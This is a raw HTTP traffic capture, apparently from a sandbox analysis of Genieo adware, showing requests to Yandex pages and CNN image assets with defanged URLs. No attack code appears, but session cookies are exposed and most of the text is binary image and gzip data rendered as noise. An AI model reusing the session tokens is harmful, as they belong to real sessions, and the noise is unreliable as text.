..G..$..Iu4...1.....4C.{......%Xh'.[.......B.G.8 (.o.w..?.i.....`Y..)u
...B...7V....9\.!....2N...k....1,.....{[email protected]
%.......'...n...]..\&./@..&U[...([email protected].....<Zn.y../.=;.....
$._GU7..._.W..:..3.........T...'.......U=.G..".[..~'`......4.e/....S..
.e..........e......z..a..l.$<..~0...b..%!K..K...0Q._x..z.x9en....p.
.D.G..7....*.........pn/p"&........Dr*...t...rW...y..kI.%....".>.8.
..3.L.t..)....5....Mr...f-R.Y...*.....4..m....3..9a..F0.j.W..w.n.{Q?.^
F.n.{......G.........V.....%.D: ../...!......=.......H...W/$.....e9..*
rI.OMvz~.I.....J.9..C.|j..W....!.X.:...C..h...-.ktM....S......~...ab..
[email protected][email protected]|^.G..V"...._..K..$O.h..%
..3Q.....VP....=......b.Kk....<V._S...F.L.vY.q...j... .P.{..|...c..
ee.r.....o7.S..Q..ES...P.{......~.9.>_.... ..&....1.(..D.W9[y.V...!
.k.g.\7q..P.jg..k....>..$.r...g.4|..9m..q..4........6@Q\.p;o.....dI
)...=...e|{..-t....c.|..`B....RvK.0.R...'..3.W.........4.9.....[..<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: ya.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=1613692281431731090

Cookie2: $Version=1


HTTP/1.1 200 Ok

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Cache-Control: no-cache,no-store,max-age=0,must-revalidate

Expires: Fri, 15 May 2015 23:04:52 GMT

Last-Modified: Fri, 15 May 2015 23:04:52 GMT

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' hXXps://yastatic.net *.yandex.ru yandex.ru *.yandex.net hXXps://*.yandex.ru hXXps://yandex.ru hXXps://*.yandex.net yandex.st yastatic.net *.yastatic.net ws://portal-xiva.yandex.net wss://portal-xiva.yandex.net wss://push.yandex.ru; img-src data: 'self' hXXps://yastatic.net *.yandex.ru yandex.ru *.tns-counter.ru *.gemius.pl hXXps://*.yandex.ru hXXps://yandex.ru hXXps://*.tns-counter.ru hXXps://*.gemius.pl yandex.st *.yandex.net yastatic.net *.yastatic.net; report-uri hXXp://VVV.yandex.ru/log/csp?from=yaru.ru&showid=22876.31459.1431731092.38052&h=s11&yu=1613692281431731090;

P3P: policyref="/w3c/p3p.xml", CP="NON DSP ADM DEV PSD IVDo OUR IND STP PHY PRE NAV UNI"

X-Frame-Options: DENY

X-XRDS-Location: hXXp://openid.yandex.ru/server_xrds/

Content-Encoding: gzip
e8a.............:ks........X...,..@_..SM......U.Y.Kr-<...(F.L.~..N.
[email protected].$..v........=.].h...'.~.....(..._..1...v.{oy/N..
.s.....fBC.,.p.zi|.'...!...b).J...M.....l$.....p.D...G.....9a.w)...o..
...$.cA.!A......C.'......*B......._.......#W.V.=...W.1Y...F.r.....'.{.
..}..C._......qHl........#F..r.)....;1.n....a2L\.V..,...o...q<D....
P...$...... q.`?......W..a?..C..ae..V....b,.}..^.@}`$.p..N.S.e<4...
....../....k..j..RR_.d<u.....a....W?......5.'H......:r..UXs..?**8_.
.I.g.....u........%Tm..v.0....~.y..Z..(...p..y:.3....C....,d...k......
..T...4..".....(...,U....d..q..$..........kQ.&(r............K..?..o...
P...A..r.........[.rbp../P..3...d...^..i.....$$..aD.,...1....8.)?O.c..
..s^.BS.D..b.......R=O./.........AxC.WT<.>._.D..Xg..E..5$...y...
1.$,z....A..?d....$rJ.B..Uq..#.."..rpi..B........x(F.....]Z...:..Q..&l
t;r!...e.6..K.....iu.bD..i.^a..~<...?"..S,....d._..h...R.q*C.#.$...
x..0.."ib6<...dB.1..^.G..G.6.@......:\.!.t....=.e=....pt......c....
a<...~|..............._....C{..]........r.4.L...7..o!@L$]j@!hk3H.
...5.....HNoh...^.eF2..8..m..H..;z.9g.b!m#.>K...g........F.3.q..2.U
^.j./.../.....w-...%..,wqzrF.K......2.q.fm{;.*-..V.([email protected].
..j.'X......w..&..CT..............E.q..q.dD....u..........f.^w%..H....
...O^.<..c._..7T..e...}.....hg.,lq ........,.9.O...y....%..v.......
`.j.k5..:..;5.=..4..<J..e...l.Q.B.....j.&_.3....Q...A.......F|."...
.X...\5.E.....&B. .........4...XQ.Y....3#...>...,I.@&...\.6....Sh..
.Y.'*s...,J..Z...5C ...B.T....\.a$...dm.k.dT[.....-,........O..7.&<<< skipped >>>

GET /cnnnext/dam/assets/140403201404-top-10-letterman-photo-large-169.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/png

Content-Length: 179936

Cache-Control: max-age=3634

Expires: Sat, 16 May 2015 00:05:36 GMT

Date: Fri, 15 May 2015 23:05:02 GMT

Connection: keep-alive
.PNG........IHDR..............e4... .IDATx.t...e.u%...;D..2#.....BU.$.
.$.....jI.j.I?.w..>@..7.......d2.(.I6.9....*  3c...-..o.I..........
}.k../>...... `....EU.'.....?.}..G.....5..V.....:...{....Z...S{?...
.%y..>..........y.S..E}..y..v.k...a9..'..Lr].E..]{)E....P....q...W.
.........'........3.......\a......P.....3._.g..........>..v.w......
..v..:.zz...CY..~..7....5..-\...:}...SX..Y..M...=.....>.z........}.
...........<.DYy.~...~ .....z.|..,..X.`sy.......L>....n.^.u.....
.................}.W../.pX.`..a.>....m....gj_ y....k.v_w7..p..=...g
..>.........p/{....fj.X.0.w.&..'..n..a...g!7H....-S.....|....v}`G..
......3.2.9."..u.C.......xo.{..)..&}G^[;h...}m.o..g.....,......~{.y..m
..^.h{..^....5m.N........kx..[...`.....=.v.......m..L.=..l...<.[..v
..Z.....q..g.u/V..CZC....{.../.0..[...z...H...~.........zVr...@.._..}.
Y.....R.I...k......vK........v.'.^.....9 nK....Z.Y.Y...aWo`[_.....t...
<....^..Z....'@....n.y`{U.....Q.O.. .....e........|=......&...."..I
..l........gjZ..F.G....}..;.=b[...; {..m.t........].s....o.}n.y.9..|.]
3..`..X.....'>..&... l...P?${..}....m..=.}3(l..l`..Ld.^...S.|.oP.f.
.OzA..J8H..."..B.,..........~....q.....g.)...[......l'To....K.z../..G.
;;..mj..u.(........P>{.~....>}.)...?v....}f5..........D.O26.:al.
.......T.Vb.)6?.....j... .w.g.a..#.2.a..a.'....8..L.L..../}..?X`.b....
\...b..q.a..aV.A.....U.7v....g;6.? ......U;$...`^4._....i..}).8....uo.
....fC....3.....b......Y.....[r......pvv.....9..m.....i.K..m.|s.......
...i.....{xw}-....b...zw..u%3....k9...Y.......m...A.....V.c;gS{...<<< skipped >>>

GET /cnnnext/dam/assets/150513041334-lklv-novak-north-korea-executes-defense-chief-00004027-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 20688

Cache-Control: max-age=3393

Expires: Sat, 16 May 2015 00:01:36 GMT

Date: Fri, 15 May 2015 23:05:03 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.U..........................!.1A."Qaq.2...#B..$3Ru.....7br.%'ETs......
&6CSt...4DUce..................................5......................
..!1.."A2Qa.3q...#5BCRb..................?..@])$.'......c."..1......]A
<h%.[..#b`...t.#bB3.o!|x..S4j..B...4.7....m.J..n...u?..!....7....O$
9.i.X......'-a....s.6Q...A..t'r9. .z...nV..q(/........nM\P...)..x...-n
..,.y%.LJ..k`Y_..F5lnV-..kW..K......m........\v.DY......sZ..\.`....1n.
...~..q......I...bu0.8....0F.$..I.....y...aYF......#.......y.....j....
.... .K..o........\O....p.......'.....E\...L..". ...&.v......$..]...9.
>.I[#...GEm...AJ......~j...|}0.?....<..J.......H..]...Q].:j....m
.0....-#.gC. .2.G..%.....N=.f._...0..i...n..Z...J.o.4...f!H.gI0&`.....
..f......lZ...O2.U,t.-s\.{..u8d^.f\Yp.4{....d.x....\i..hs....=[.e~_5..
j..5....H_..3b}W.x..zL..E..Un8...\.Y....)...8..N..h88....R....vl....b.
.,X.q......w.l.W.b..............mj)..v....).. M...l..........x7)......
....EJM2.....h.'..(.....;...]..J}.=".A{.d`.y.R2....f..h.)Y...H.$!....O
..LM..#...2ch.Oy!.O.......dT.Y.=......:.."........O......w.......1H)..
.2....>.]..5..uI.h.1...,Q>..\.M..\..p....SR..I...lB.....6...!.F%
....1..C.p.`...p.....)W>).VS...D..X;..8K$.\>....,3..j7c.5S..1U..
J..'VR....e=...U...v!S.h)...}.QH*........9.<.Q...%Vq.d.....8.h.b.".
.B.......CC....^....-..&.<<...t4M........;4.cap....jN./... a<<< skipped >>>

GET /cnnnext/dam/assets/150513204138-without-shoes-campaign-toms-orig-00010918-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 36840

Cache-Control: max-age=4670

Expires: Sat, 16 May 2015 00:22:54 GMT

Date: Fri, 15 May 2015 23:05:04 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.B..........................!.1.."AQ.a2q...#B..R..$3b......%CSrs.4....
............................4........................!1A.."2Qa.q#3....
...4..$B.............?..l~...;n.G<&...W.3...Q.)"}..W.W.43.9..\....K
.i%/[email protected].....^.R$................h.......G.mP.5..j..
.Fv....J..{d..S^#..2."..5.....^e.s.,t..;...88......]..P....kjq.......P
XNS....7.......E]..q$2..C.L.............O.....B.x.....}Q..B.g|........
..9.Qr.q..,.......=3.z...6...t. ..f2.\$g...kFt7....PIn.......=P......V
S.g......=....2....b].....X....H..i...Y.-.a..{. ....;.sZ...R..V.).....
,.q.N....:....##....T.-.#.kcsl.l.K..IC[.N..vF...z.-......t...BG.. s...
;s.......3...=#_..Py.-}P~..n...K..i.nR..y8......z.Y..b...b.#.........&
gt;..=&...BZCS.l.p...'.'...I.....y...$...n."5...q=...R...dbe.3...Lz.o.
;w[..<.......!#.Ol..pO..l..N..^.............)..B..$oJ0...J.Nk.xH...
...I.&E....R.".O..D(!c...Z..)5....p....&0.S...9..sZ........t.M.\..f8..
...M.^.d...6.n.\,*L...%).J.9H..r>..-..mV{E.F."..&.ea(....(.).R.....
....N}..P..)H\B..p...}.?.bY.".ZM.m,.eP.RZ.N.R..G.c..h,6.....{..Mc.N...
...<....2..j..AK.)[*..J.s......8.....3...}k3X7t...L..'.U.n.9!A$....
..y.-..2.nL.>..C.z...<r.!..J7....$........lm..1[..r..G..|.g..AH.
......'. .....fM.S6...KI}m.....P{....g.=....3t..ereD.\....}(CHp{(oRNO~
...78>[email protected].......:...z.....LG.....!..2I.8.#..<<< skipped >>>

GET /cnnnext/dam/assets/150513142341-mh370-shipwreck-find-1-large-169.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/png

Content-Length: 111608

Cache-Control: max-age=2805

Expires: Fri, 15 May 2015 23:51:49 GMT

Date: Fri, 15 May 2015 23:05:04 GMT

Connection: keep-alive
.PNG........IHDR..............e4... .IDATx...I..kU..B..{iD....8.. ....
I...q.K0..c"....3...@"..t..((b.  ".(..................s7.^....~....._.
._..._..7_...n.. ..........=.q...../...._....>.......k..kn.........
..W..W................g>s......7_...onoo..........7..-.r}.g..?..5..
...............>..O.|.7...........>.......{...q....s.........e..
....q...k...6...g...........5..>....p.u..}s......>....p]cmv....6
..................u6....>.\G.[.k....~........|{....}po..l..Z...F7..
..|.......'?......;..;.k7.......<.n^.7w.....~.......o..o....w..c.}g
k..'?..7...g/Z....Oz...{.....=c4.W..W.z.g{...?.........<....o>.j
..:..>...].ym.7....}g...x..mN..^..hes...j..8.........}...9....c..n.
..w...>CS.m.....s....{..}o....ik...u.f.;.../.....v..g......m~...a.@
..{..5hr..............{......#.<r..W.....>...7...7....}7.}o.{.._
~...>.......G>...;.....m?.........y...x......_....?~...|..mo{...
...l=....^..=.s...<.Z..sk.g..{....w......{<.iO.y...u=o4..}....x.
.........~..o..o....Z.].u..l....?..\..x..z...l..>.......|.w..|6W..|
.....^.4....x......{....<L...b..!.....0......^{....#.-..O.".}......
{.B.$.....M|D....}..I..>{..MI... A.3.y......<DM8...|.``.........
5..6.".........0F.o..?{..ec..........y.o....3N..#D.......o.m.1.={..q..
........?...]/..~...~..".....;..X...7!F.Z;...Ox.*....g..Dm...5..("hn.m
/'...~.l......j...an.[3J.5F...".. .....qQ.6......b..5...o..OJ..f.'d...
..........b.hn...7}.......~.Y..%.w..u..36.f..zS..5............)<...
...?..7....{..w..............K@:?.x.3..).........\...O.=..........<<< skipped >>>

GET /cnnnext/dam/assets/150421164740-lead-dnt-sciutto-u-s-warships-in-yemen-message-to-iran-00002919-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 20740

Cache-Control: max-age=3900

Expires: Sat, 16 May 2015 00:10:05 GMT

Date: Fri, 15 May 2015 23:05:05 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.M........................!..1.AQaq.."...2B..#Rbr...3C...$S..4cs......
]d................................!.....................!1...AQ"....
..........?..0q.Lf....B.....j.lQ:......QJ$S...i}....u....~.?}O......|q
I...........@...).....s...7J....m.7.6.V..$.s......(.r.............!|P.
/S..4.....v.&p1.rhrYH...@.....?hzw....P\I..K..h.q.P..U..d.%.......Y%..
.Ox...L.i..mZ,y....H.j,.H..f.:,...P/..<....:1*:..*Fr;..a@Fb..'1jE.C
v..E..R...2ha...bLx......J:*..Z.gbr..J.$..6.Taw..O....'b.4".I..S...#.z
..j........C0..........z.8...Y.J.....6...%{.!m.'q.#....M........_..A..
<h.....>.....v........h'....*...P......y.S...4./J.......PJ.c....
[email protected]@....G..k..........N..
z..C..t1A...~{.3I...5.&.....h.V"H;(ax.v..M.V$\.Z.P..Y>......o.0....
.O9..l. .la.X.#1BRG\....@...&og.3es.......q..Yp....b.I.Y.......->t.
..E...$..;2.HE..kI..$.M.mfI...:.G....u&e..I..&d.|.....s.H .K..}...t...
.*).0..Nb|j)...EN_3F,.J..W.H..MW$.C...~..v....Z....v.O......N...q....1
s..8..(&.pr.).M...4.a.#.iZ'.....*..zw8=....I...S....X|....~.....}..l..
LX.....b.c8..Q....?hb.....7:......F8.SL.#;.@=..Xy....A6;.(....n.LT..E!
...EI.22N.4...;..{...<.?....4...h..b_..L.....eD.1s..iT...nQ.2..H...
....U.3.......Q4.....\%$............",.s....te...............C..&a...Y
:o.N.6j.k..... Wv.OC...... C....(m.N..>8.....S._....sJ?..S.W..M<<< skipped >>>

GET /cnnnext/dam/assets/150507143410-kelly-and-brady-hager-irpt-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 27223

Cache-Control: max-age=3831

Expires: Sat, 16 May 2015 00:08:57 GMT

Date: Fri, 15 May 2015 23:05:06 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.^..........................!..1."AQaq..2.....#Br.....$LRbc..3Sdes..
..&'5DTtu....(E...67f...................................<..........
.............!.1..3AQq"#2a..........4B.Rr$ËD..............?.h.}.5...
.j.S....9K...r.M.M.....*]~...yR...^.%.8np%.>....."@rQ.)#vI....6....
..]dd..I:...7.O.........cZ....=...d)D "...)hYBJ.F.Q....R.....Cb..g.,..
n1...r|.v.z......y..&3>.Vcs..n.!.K...T^t..l...1;..(..?..R..QZ..\.@*
.8.L.._.[.< .!E......q ...F?...\m2...hT.........:.c...u.L.J<-0..
.kWS..>>.3.)....5...?U.1....Q.h.1..[.G&.v...f%...2E...].y9...>
;..8.o06.W\...i.M..6N!.....8<....of.y..2.^..s.4...C.'L........Bm...
,.^..4.....i.!B...m .... ..S...O.Gj..5....e[.7.0S.i.I.p.m..k..8.w.Sw.D
m^.....>.y"....._....&!}.7...aGV<...i?\L..Yi......D.A..f>.":.
...R...j<......h.....Zsl2....J..:"#.H....'.L.."5.v..`.n.<.......
....O..*.ty..t...G.&=.....5..z3.3..~.G...!E....h...Z..Z..E....L......;
.d.....!.K.OU....E..v!..&.bk........=9.^....;..D]EIUI..'3. .?l(*...7.F
T@.}..KJ.}..e...i..........Lc.h......^.?....Jc.........l...11..F...".y
.5.g1...<.rm2.2.L...[M...;bQ...`S|.zs ........O.;"..L..1...<....
.3...G.$z..d$.7.T../%...u<-.....v....xk|..H... ..m=..Dm.....a~h....
'.]..`.......8F`@.$..`..$.0 @.33.0 D.`.Db....l#1...6...)...q....U....*
..).=0..b[.J..h......M..\A3Y...N.q.%..R.2.....W.L..3..y..V..sb....<<< skipped >>>

GET /cnnnext/dam/assets/140922054849-isis-militant-flames-of-war-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 23098

Cache-Control: max-age=4066

Expires: Sat, 16 May 2015 00:12:53 GMT

Date: Fri, 15 May 2015 23:05:07 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.H..........................!.1.AQa.."q2....#B..3b..$Rr....C.&47STcst.
.................................(......................!.1.A."Q23.#4B
a.............?......#.O>]^.|..........#.O>]^.|.........#O>]^
.|.....H.Q.>.....G......H.Q.>.....G.........#.O>]^.|.........
#.O>]^.|.........#.O>]^.|.........#.O>]^.|.....H.Q.>.....G
......L.Q.>.....G.....t...3.N.]^.|.....t...#....E'.~....}...jt...zC
...4..j:'....8....j.....^t..;..j:G.....F...IC.......5).>......&jO..
......S.9.HBU.h.g .......s.G....7.K.P.8V......#....M8.........,..%^...
........e........DW...9;HO..kf#.O./.,.EkR...'...Q.'...~.2L./z.J....[..
"....W%[...j...M;..9..M\..l..$.N[.]mAA\w...3.....g#4t..G.......$..>
...}...j.i.>.tO.;..j..G..5..j:'..t..--.r(..D.Q...1GLzP.2.{...}.....
........GD.S...".-....}..GD.S..s..l.....'............C.Uz.h..l.]c!..wv
.m..^Qf.F..Z=Yj..]......c......;U3...-.6..LYq...Z..<N...v.%.....egc
...;N..T........".E.;..r]..!jK.,)..%1..d..eN.V.:..(..JRK.....".*.p.g.i
.r........&d....L>..:..$.Ks.R.J.&..B.g........1.GLzR.3..J:#.S.....=
(..DzQ....t...1.@..#.W...Ozc.......G...=).LzQ......=....).LzQ......=(.
.Jy...t...3..AGDz.y...t...3..AGDzS.....=(..DzW...O:c.......Dz.:#.S....
.=($g........1.GLzP.".GlP#.).LzRzC.........:..z:#...t....=M<..CGL{.
.>..!.i.L{........../...(..-.d.2...R .:#..K.A.....>.<&..c<<< skipped >>>

GET /cnnnext/dam/assets/150415150704-01-isis-documents-0416-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 27985

Cache-Control: max-age=4150

Expires: Sat, 16 May 2015 00:14:17 GMT

Date: Fri, 15 May 2015 23:05:07 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.a..........................!1.."AQ..aq.2.....#BR.3br......$L...&56F
SUs..Tcdeft.......DEVv....................................4...........
............!1.."2AQ..aqR....#B...3Db..............?..e.Z.......TQ....
.9Kd.......D}jc....T$.:....!....@6.}3GJy......Z.V...>....).R2R...G.
....}.{!....%k.......q.'~Bp..R>.7\...FH..hl.......|vp...kw.ZV...9..
Q.y...P...; ....U..j..G....$`..j8.h)..F..=...w9..{V..}.=.k....rjk$....
....*..)^.....)...4...6.6........\...e5. .........se..;Iy....v....'.p.
..*.&...._..`......#Q.~.....Q...z;.6m.!=.....z............s.m....M..4.
....#..k....xu.D.....I..kfh.F....r...O...1Jw....... ...n].|.......c.T.
.'......Du....[Z1....4.H..f..7.R.......;..E.M.f...,j.c..SkF<t[....k
.......u.._2...._...&...... ..4....._u..gt .J..}..g.K..w...PW.<.FG.
.xX..K...a..)w?.Y...^._...#.e..............$...R...CRc.\SD.Ac&.F}.;L..
........H... $....Z..[. <....H,.?..R........1....v..'.i..*.?. ....G
....Y.W.......L......Su....3.V5..V?.CZ.4.3..E.b.".a.....,..K?...{.v...
v.|....h..#...he... ....'.u. .8~..^...$...y.OO.Y..P=.(Ko....cN.....~..
.)...;K..."g.5....9G..9.|..........mE ......i.?...h....(......j..\,z..
......$.....s9.k0.Ff.5{.b>.H?..z>&z).~.....i........~....5..kY.~
..7...Jb[x....... ....n)..n}>.E ..P....rkOd^.......V.f.oo........3.
zU&....;.*I..0.K.X .. ..19.(`.....sK#...=E......I....ol_.^n:.u.4[\<<< skipped >>>

GET /cnnnext/dam/assets/150407162433-afghan-rape-gulnaz-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 38518

Cache-Control: max-age=2176

Expires: Fri, 15 May 2015 23:41:24 GMT

Date: Fri, 15 May 2015 23:05:08 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.F..........................!1A.."Q.aq.#2....B..$R..3b...%Cr....4.S5..
.................................;........................!.1A."Qaq...
....#2B.3...$4.CRbr..............?...W.M.iG..4..(RK.8I#q8.c.Q.,.n..!..
....3..........AS.X.......R.$p....)*'... k.].X...ei.D.q..KE...0.A'...b
........6.I.........8@?AT0..\.q$.)9.R..M!h$i{......`...X.W....AHkhs.W.
.V.P#..H...BT.4..I'...-...|8fT..rK..\B.......5.:.....%...-..iQ.'.".#2b
..k...*C`$..\b.:.....!......'n..W..[.>_.%.w..j...J..^....M'2.~.yi..
..Dxy.. ..D....?J.O.\.6.t.%.rR.....2Ts.....zm..$.....e...VI..s...Z./..
."x...m..7%!YH. ....H^..i$.hl...0.d...8..H........l...d.....s..s\X.r..
:.....i{k....~.-%?...S....lkd....>....~.OH..'....<....!1...1....
.JE.C..}r.r?.. ..D...W%eg...V.......^...o..3&...."....x=~F...t.2.....B
..U..}.h.Txl...8..#[email protected].>..$.......5....\.."......
.......9..........~.........f..xt.l}..}F..d<..`(q..g.Y....o5|.k[...
..h>.$...Z.I..pi..K..ei{..!8$c..............T......[:,....EA1L..)..
.R......S....._./.}0(.&Z[...<...........:1..i.... .~...{W.H....T.sQ
7......8W'. w.5?Dj.P4W.#$....g...".....%.......za\s.U..6.o='[email protected]
..U..|...9...}..I.6..B.......l..X... r.........^#uJ.......<....g]..
G..B..........&4e....w.....[.8.jO'..O.....g/A^D..)..I9Js..<R.......
..&.......U...Y..@ ..w.H.L...>..5...t....J#..J#.....<.P...O.<<< skipped >>>

GET /jslibs/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: tech.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/html

Content-Length: 178

Connection: keep-alive

Location: hXXps://tech.yandex.ru/jslibs/
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx</center>..</body>..</html>..HTTP/1.1 301
 Moved Permanently..Server: nginx..Date: Fri, 15 May 2015 23:04:52 GMT
..Content-Type: text/html..Content-Length: 178..Connection: keep-alive
..Location: hXXps://tech.yandex.ru/jslibs/..<html>..<head>
<title>301 Moved Permanently</title></head>..<bod
y bgcolor="white">..<center><h1>301 Moved Permanently&l
t;/h1></center>..<hr><center>nginx</center>
..</body>..</html>......


GET /jslibs/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: tech.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: express:sess=eyJjc3JmU2VjcmV0IjoibF9mVFZTelRjRlQ5dEdkWm1wQ0hSa0VKIn0=; express:sess.sig=wb88oJpeSbmQO0zxhmohEmj--XA; yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/html

Content-Length: 178

Connection: keep-alive

Location: hXXps://tech.yandex.ru/jslibs/
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx</center>..</body>..</html>..HTTP/1.1 301
 Moved Permanently..Server: nginx..Date: Fri, 15 May 2015 23:04:52 GMT
..Content-Type: text/html..Content-Length: 178..Connection: keep-alive
..Location: hXXps://tech.yandex.ru/jslibs/..<html>..<head>
<title>301 Moved Permanently</title></head>..<bod
y bgcolor="white">..<center><h1>301 Moved Permanently&l
t;/h1></center>..<hr><center>nginx</center>
..</body>..</html>......


HEAD /jslibs/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: tech.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: express:sess=eyJjc3JmU2VjcmV0IjoibF9mVFZTelRjRlQ5dEdkWm1wQ0hSa0VKIn0=; express:sess.sig=wb88oJpeSbmQO0zxhmohEmj--XA; yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html

Content-Length: 178

Connection: keep-alive

Location: hXXps://tech.yandex.ru/jslibs/

HTTP/1.1 301 Moved Permanently..Server: nginx..Date: Fri, 15 May 2015 
23:04:56 GMT..Content-Type: text/html..Content-Length: 178..Connection
: keep-alive..Location: hXXps://tech.yandex.ru/jslibs/......

GET /jslibs/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: tech.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: express:sess=eyJjc3JmU2VjcmV0IjoibF9mVFZTelRjRlQ5dEdkWm1wQ0hSa0VKIn0=; express:sess.sig=wb88oJpeSbmQO0zxhmohEmj--XA; yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 15 May 2015 23:04:57 GMT

Content-Type: text/html

Content-Length: 178

Connection: keep-alive

Location: hXXps://tech.yandex.ru/jslibs/
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx</center>..</body>..</html>..HTTP/1.1 301
 Moved Permanently..Server: nginx..Date: Fri, 15 May 2015 23:04:57 GMT
..Content-Type: text/html..Content-Length: 178..Connection: keep-alive
..Location: hXXps://tech.yandex.ru/jslibs/..<html>..<head>
<title>301 Moved Permanently</title></head>..<bod
y bgcolor="white">..<center><h1>301 Moved Permanently&l
t;/h1></center>..<hr><center>nginx</center>
..</body>..</html>....

GET /cnnnext/dam/assets/150514174622-lead-dnt-griffin-amtrak-engineer-brandon-bostian-profile-00012203-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 25840

Cache-Control: max-age=1553

Expires: Fri, 15 May 2015 23:30:59 GMT

Date: Fri, 15 May 2015 23:05:06 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.R.........................!..1A.Qa.."q.2B....#R...$b..3r.....&cs...%5
CD.46ESdt....................................0........................
!1A.2Q."a.3q.#B4br................?.P.....m*.5..t..s[.. 8..Q..I.\..~..
zQ/...u...).P-.......M*.............g..O.e...Z...@[email protected]......
F.h.5f.L#>.....@..@.&....g..B.s'?..]{..%'..Tx...qq.....X.^....%:]..
....XKn...a...)X..B.x....hk.............. ...[...)9,....H.^.1..?`.|G..
...u |b....se...=....K.....'...jhuI[g=.....74....`...W....J0Ts]\K.0.[C
